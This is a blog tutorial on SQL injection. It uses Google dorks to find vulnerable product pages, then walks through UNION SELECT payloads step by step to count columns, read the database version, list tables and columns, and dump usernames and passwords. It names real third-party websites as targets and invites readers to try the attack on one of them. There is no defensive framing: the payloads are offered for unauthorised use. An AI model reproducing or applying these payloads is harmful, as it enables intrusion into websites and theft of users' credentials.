(SQL INJECTION TUTORIAL PART 1)SQL INJECTION BASIC TUTORIAL

(SQL INJECTION TUTORIAL PART 1)SQL INJECTION BASIC TUTORIAL

WHAT IS SQL INJECTION?

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

WHAT TYPE OF SITES ARE INJECTABLE?

Every website needs to be public, security mechanisms will allow public web traffic to communicate with your web applications generally over port 80/443. The web application has open access to the database in order to return (update) the requested (changed) information. In SQL Injection, the hacker uses SQL queries and creativity to get to the database of sensitive corporate data through the web application.

Each type of web application is hard coded with specific SQL queries that it will execute when performing its legitimate functions and communicating with the database. If any input field of the web application is not properly sanitised, a hacker may inject additional SQL commands that broaden the range of SQL commands the web application will execute, thus going beyond the original intended design and function. A hacker will thus have a clear channel of communication to the database irrespective of all the intrusion detection systems and network security equipment installed before the physical database server. So a system vulnerable to SQL Injection, can be injected by SQL Query/Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database!

GOOGLE DORKS

Do you know how to use google? Sounds a silly question because even children can easily use google search engine. But the thing is that how efficiently we can make use of google. Google dorks are nothing but simple search operators that are used to refine our search. Okay let's suppose that you wanna search for ebooks on topic 'networking' , our obvious search queries would be like this "Networking ebooks", "free ebooks for networking" etc,we keep going into the websites, clicking on link after links and then get proper downling links. Now lets do the same search in a different way , type on google "ext:pdf networking" (without quotes). ext means extension.

And see what you get in results, google returned direct downloading links of ebooks on networking that is files with extension pdf. I give you another example on this. Let's use this dork inurl: (include url).
If u write inurl:lol and then if you search it on google then every lol included in the websites will appear in the search result.

How to Find and test a vulnerable site?

To find a site vulnerable to Sql injection,

we have to use Google dorks.

Here is some google dorks to find sites vulnerable :http://pastebin.com/1c0mvpJJ

Now as example I will search with this dork :

Code:

inurl:productdetail.php?ProductId=

Paste it on google's search box and hit search button. Many site will appear. Enter in any website. To test the site if the site is vulnerable to Sql Injection. To test the website put a string ' at the end of the site's (id=18') parameter . If the site is vulnerable there will appear an error or something will be missed from the page.

As Example I take this site to test vulnerable or not :

http://www.hillanddaleoutdoors.co.uk/productDetail.php?productId=313&brand=11'

After puting a string ' at the end of the website no error came up, nothing changed nothing is missing. So The site is not vulnerable to Sql Injection.

Lets move on to another site.

http://www.example.com/productdetail.php?ProductId=33'

This site is vulerable to Sql Injection. Error appeared on the page :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

http://prntscr.com/8u0gd1

This is how find a website vulnerable to SQL Injection.

How to Inject a Vulnerable WebSite?  

§  Now we have got a vulnerable site. Now I'm going to show you how to inject the site.

Step 1 : "Counting Columns"

At first we have to find how many columns are there, you need to find the amount of columns there. We can count the columns with ORDER BY function.

Code:

www.example.com/productdetail.php?ProductId=33+order+by+1--

(No error, that means 1 no column surely exists)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+2--

(Same as before , no error , 2 no column exists)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+3--

(No error, loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+4--

(No error, loads good)

Code:

www.exapmle.com/productdetail.php?ProductId=33+order+by+5--

(No error, loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+6--

(No error , loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+7--

(No error ,loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+8--

(No error)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+9--

(ERROR !! This column doesn't exist)

http://prntscr.com/8u0jcb

So we have got the ammonunt of column.
This site has 8 column. Now we have to find a column vulnerable to Injection. Vulnerable
column will can give us data. 

Step 2 : Vulnerable Column

  To get vulnerable column add a row - after the id=- like this :

http://www.example.com/productdetail.php?ProductId=-33

Check this syntax I've added a row after the id, and

We have to use UNION SELECT function after the id number and after at the end of parameter (number) we have to put the columns the the site has, like this :

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,2,3,4,5,6,7,8--

Check the page 2 and 3 came up there. http://prntscr.com/8u0klz
 
Step 3 : Getting Version

We can get data from 2 and 3 no column, now we have to check the version, replace the vulnerable column with this : 

Code:

@@version

Or

Code:

version()

So, I'm going to replace 2 no column. so our link should be like this :

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,@@version,3,4,5,6,7,8--

Look on the page, version came up : 5.1.63-cll http://prntscr.com/8u0l1s

If the version is less than 5, then you have to move to another site. The site that has version less than 5 don't have information_schema, Our next step's Table names won't came up with version 4. If you want to inject version 4 , You have to go with BLIND SQL Injection. 
Thats annoying, you will have to guess table names with it.

Step 4 ; Getting Tables

Now we are going to obtain table names from vulnerable column with these Codes :

Code:

group_concat(table_name)

replace this ^ with vulnerable column

Code:

from information_schema.tables where table_schema=database()--

Put this ^ code after the existing columns.

Then , our link should be like this :

Code:

www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--

Now check the table names appeared on the page. http://prntscr.com/8u0lvt

Now Find tables named :


admin
adminstator
tbl_admin
user
users
tbl_users
tbl_user
tblusers
members
member
login
cp_login
settings
etc.

Usually this tables contains login data. Look on the page there is a table named tblusers

Step 5 : Getting Columns

We can obtain that site's (data) username, password column from that table. Ok now :

Code:

group_concat(column_name)

Replace this with vulnerable column :

from information_schema.columns where table_name=0xYOUR TABLE NAME'S HEX HERE--

Put this code ^ after the existing columns.

Hex your table name from here :

http://www.string-functions.com/string-hex.aspx

Hex of tblusers is : 74626c7573657273

So our syntax should be like this : 

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x74626c7573657273--

Check, the username , password column came up :D 
http://prntscr.com/8u0mr4

Step 6 : Extracting Data From Columns

Last step,
Replace 

Code:

group_concat(column_name)

With

Code:

group_concat(column1,0x3a,column2)

Then our syntax should be this :

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(UserName,0x3a,UserPassword),3,4,5,6,7,8+from+tblusers--

Username and pass came up : http://prntscr.com/8u0nbr

I've put tblusers at the end of my syntax because username and password column exists in tblurers.

If you have any problem comment below I'll help.

YOU can try this SQL INJECTION on this site::: http://aieseci.in/home.php?id=40

— Share It —

• Facebook
• Twitter
• Google+
• Linkedin
• Pin It

About Unknown

Hi, My Name is Hafeez. I am a webdesigner, blogspot developer and UI designer. I am a certified Themeforest top contributor and popular at JavaScript engineers. We have a team of professinal programmers, developers work together and make unique blogger templates.